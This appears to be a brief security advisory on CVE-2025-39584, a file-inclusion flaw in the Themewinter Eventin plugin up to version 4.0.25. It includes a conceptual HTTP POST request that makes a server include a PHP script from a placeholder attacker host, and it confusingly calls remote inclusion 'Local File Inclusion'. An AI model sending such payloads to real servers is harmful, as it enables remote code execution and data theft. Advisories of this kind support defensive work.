Overview

The vulnerability identified as CVE-2025-39584 is a critical security flaw that exploits the improper control of filename for the Include/Require statement in PHP programs. It particularly affects the Themewinter Eventin, potentially compromising the system or leading to data leakage. Hence, it is crucial for organizations and users running affected versions of Eventin to take immediate steps to mitigate this vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-39584
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Themewinter Eventin | Up to 4.0.25

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for Include/Require statement in PHP programs within Themewinter Eventin. This allows an attacker to include a file from remote servers, leading to PHP Local File Inclusion. Consequently, the attacker can execute arbitrary code, potentially compromising the system, or leading to data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This example represents a HTTP POST request with a malicious payload.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include": "http://malicious.example.com/evil-script.php" }

In this example, the `include` statement is used to call a malicious PHP file (`evil-script.php`) from a remote server (`malicious.example.com`). This could lead to the execution of arbitrary code on the victim’s server.

Mitigation

To mitigate this vulnerability, users are advised to apply the vendor patch immediately. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. Regular security audits and code reviews can also help in identifying and rectifying such vulnerabilities in time.